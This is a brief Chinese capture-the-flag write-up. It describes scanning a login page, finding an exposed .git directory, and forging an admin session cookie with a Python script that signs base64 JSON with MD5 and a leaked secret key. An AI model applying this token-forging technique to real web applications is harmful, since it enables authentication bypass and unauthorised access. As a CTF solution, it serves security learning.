這是一篇關於打d3ctf坐牢,無奈去打國際賽的題解。
首先開啟頁面,然後發現一個登陸框
剛開始最先想到就是弱口令登陸,嘗試幾個後發現登陸不進去。
之後我就換了一個思路,就是掃一下,看看能不能有什麼東西被掃出來,結果還真掃出來點東西,一個flag.txt,一個flag.php,還有就是.git洩露。
然後我們寫一個指令碼獲取我們需要的字串。
import hashlib import json import base64 # 定義 SECRET_KEY 和 Token 資料 SECRET_KEY = 'JYOFGX6w5ylmYXyHuMM2Rm7neHXLrBd2V0f5No3NlP8' token_data = { "username": "admin", "user_key": "26ceb685f46e6d22", "admin": True } # 編碼 Token 資料,生成 Token 字串 encoded_token_data = base64.b64encode(json.dumps(token_data).encode()).decode() hash_str = SECRET_KEY + encoded_token_data hash_obj = hashlib.md5(hash_str.encode()) hash_result = hash_obj.hexdigest() token_str = "{0}.{1}".format(encoded_token_data, hash_result) # 驗證 Token 字串是否有效 token_parts = token_str.split('.') if len(token_parts) != 2: print("Token 字串不合法") else: decoded_token_data = json.loads(base64.b64decode(token_parts[0]).decode()) if ('username' in decoded_token_data and 'user_key' in decoded_token_data and 'admin' in decoded_token_data and decoded_token_data['username'] == 'admin' and decoded_token_data['user_key'] == '26ceb685f46e6d22' and decoded_token_data['admin'] is True): str_to_hash = SECRET_KEY + token_parts[0] hash_obj = hashlib.md5(str_to_hash.encode()) hash_result = hash_obj.hexdigest() if hash_result == token_parts[1]: print("Token 字串有效:", token_str) else: print("Token 字串無效") else: print("Token 字串無效")
構造cookie之後就能獲得flag。